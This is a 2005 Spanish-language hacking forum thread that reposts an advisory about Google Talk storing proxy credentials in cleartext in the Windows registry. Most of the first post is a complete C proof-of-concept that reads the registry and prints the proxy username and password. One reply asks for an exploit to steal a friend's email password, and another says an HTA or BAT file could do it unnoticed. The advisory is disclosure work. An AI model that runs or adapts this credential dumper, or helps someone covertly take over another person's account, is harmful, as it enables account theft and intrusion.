elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.
 
Inicio Ayuda Buscar Ingresar Registrarse
25 Mayo 2012, 07:01  


Tema destacado: Deseas probar algunas mejoras a la interfaz del foro? Prueba cake! acerca de

+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Bugs y Exploits (Moderador: berz3k)
| | |-+  Bug en Google Talk
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: Bug en Google Talk  (Leído 1,108 veces)
mousehack


Desconectado Desconectado

Mensajes: 1.142

Ex-Colaborador....!!!!!!XD


Ver Perfil
Bug en Google Talk
« en: 17 Octubre 2005, 17:16 »

version afectada:<= 1.0.0.72

Google talk no parece hacer un buen trabajo en almacenar las credenciales de la conexión de gmail en el registro.  Éstas son las credenciales necesitadas para establecer una conexión a talk.google.com y se localizan en:
HKEY_CURRENT_USER\Software\Google\Google Talk\Accounts\[username]@gmail.com\pw

En este caso la contraseña parece ser cifrada.Sin embargo, los programadores de Google talk  parecen haberse olvidado de utilizar cualquier mecanismo de encryption cuando cuando se guardan las credenciales para la conexión.  En este caso, todas las credenciales del usuario (username y contraseña) se almacenan como * cleartext * en el registro de Windows.
Tales credenciales se localizan en:

HKEY_CURRENT_USER\Software\Google\Google Talk\Options\auth_user HKEY_CURRENT_USER\Software\Google\Google Talk\Options\auth_pass

Para explotar esta vulnerabilidad se deben dar tres requisitos:
a)Que la victima se conecte por proxy al usar google talk
b)Que el  proxy requiera login credentials (username/password)
c)Que el atacante haya comprometido la cuenta del usuario victima

Prueba de Concepto:
Código:
#include <windows.h>
#include <stdio.h>
#include <string.h>

#define TITLE "\nGoogle Talk cleartext proxy credentials PoC exploit\n"

/*

Author: pagvac (Adrian Pastor)
Date found: 12th Oct, 2005
Filename: google-talk-dump-proxy-credentials.c  


Example of usage:

C:\>runas /user:compromised-account cmd.exe
Enter the password for compromised-account: [password entered]
Attempting to start cmd.exe as user "target-host\compromised-account" ...


Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\WINDOWS\system32>e:

E:\>cd "my exploits"

E:\my exploits>google-talk-dump-proxy-credentials.exe


Proxy host:     192.168.1.10
Port number:    8080
Username:       compromised_username
Password:       compromised_password

*/

BOOL googleTalkIsInstalled(void)
{
     HKEY hKey;
     LONG returnStatus;
     returnStatus = RegOpenKeyEx(HKEY_CURRENT_USER, "Software\\Google\\Google Talk", 0L, KEY_READ, &hKey);
     
     if (returnStatus == ERROR_SUCCESS)
     {
RegCloseKey(hKey);
return TRUE;
     }

     else
     {
RegCloseKey(hKey);
return FALSE;
     }
}

BOOL QueryStrVal(char lszVal2Query[255], char lszValData[255])
{
char lszResult[255];
HKEY hKey;
LONG returnStatus;
DWORD dwType=REG_SZ;
DWORD dwSize=255;
returnStatus = RegOpenKeyEx(HKEY_CURRENT_USER, "Software\\Google\\Google Talk\\Options", 0L, KEY_READ, &hKey);
     
if (returnStatus == ERROR_SUCCESS)
{
returnStatus = RegQueryValueEx(hKey, lszVal2Query, NULL, &dwType,(LPBYTE)&lszResult, &dwSize);
     
if (returnStatus == ERROR_SUCCESS)
{
strcpy(lszValData, lszResult);
RegCloseKey(hKey);
return TRUE;
}
else
{
RegCloseKey(hKey);
return FALSE;
}

}

else
{
RegCloseKey(hKey);
return FALSE;
}
}

BOOL QueryDwordVal(char lszVal2Query[255], DWORD *dwVal)
{
DWORD dwResult;
HKEY hKey;
LONG returnStatus;
DWORD dwType=REG_DWORD;
        DWORD dwSize=sizeof(DWORD);
   
returnStatus = RegOpenKeyEx(HKEY_CURRENT_USER, "Software\\Google\\Google Talk\\Options", 0L, KEY_READ, &hKey);

        if (returnStatus  == ERROR_SUCCESS)
{
returnStatus = RegQueryValueEx(hKey, lszVal2Query, NULL, &dwType,(LPBYTE)&dwResult, &dwSize);
       
if (returnStatus == ERROR_SUCCESS)
{
*dwVal=dwResult;
RegCloseKey(hKey);

return TRUE;
                }

else
{
RegCloseKey(hKey);

return FALSE;
}

}

else
{
RegCloseKey(hKey);

return FALSE;
}
}


int main(void)
{
char lszData[255];
DWORD dwData;

printf(TITLE);
printf("By pagvac (Adrian Pastor)\n");
printf("www.ikwt.com (In Knowledge We Trust)\n\n");

// Google Talk *is* installed
if(googleTalkIsInstalled())
{

// No proxy settings are present
if(!QueryStrVal("proxy_host", lszData))
{
printf("No proxy settings were found!\n");
printf("Probably Google Talk is connecting *directly* to the Internet...\n");
return 0;
}

// Proxy settings were configured
else
{
printf("Proxy host:\t%s\n", lszData);

// Print port number
if(!QueryDwordVal("proxy_port", &dwData))
printf("Port number:\t%d\n", 1080); // by default port 1080 is used for proxy
else
printf("Port number:\t%d\n", dwData);


// Print username
if(!QueryStrVal("auth_user", lszData))
printf("(no username required)\n");
else
{
if(strlen(lszData)==0)
printf("(no username required)\n");
else
printf("Username:\t%s\n", lszData);
}

// Print password
if(!QueryStrVal("auth_pass", lszData))
printf("(no password required)\n");
else
{
if(strlen(lszData)==0)
printf("(no password required)\n");
else
printf("Password:\t%s\n", lszData);

}
}
}

//Google Talk is *not* installed
else
{
printf("Google Talk does *not* seem to be installed for the current user\n");
}

return 0;
}


Fuente:securityfocus

Salu2


 




En línea



VISITEN MI BLOG PERSONAL....
http://mousehack.blogspot.com/ ...XD
h3rb3r7

Desconectado Desconectado

Mensajes: 1


Ver Perfil
hi
« Respuesta #1 en: 19 Octubre 2005, 03:58 »

quisiera que me expliques de donde puedo sacar un xploit para enviarlol a un amigo y enterarme de su sorreo y contraseña
En línea
sirdarckcat
Troll Buena Onda y
CoAdmin
***
Desconectado Desconectado

Mensajes: 6.947


Lavando Platos


Ver Perfil WWW
Re: Bug en Google Talk
« Respuesta #2 en: 19 Octubre 2005, 17:12 »

ha.. no se para que hacen exploits para esto..
tan simple como usar un HTA, o un BAT puedes hacerlo, y la victima no sospecha nada
En línea

Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  
Powered by SMF 1.1.16 | SMF © 2006-2008, Simple Machines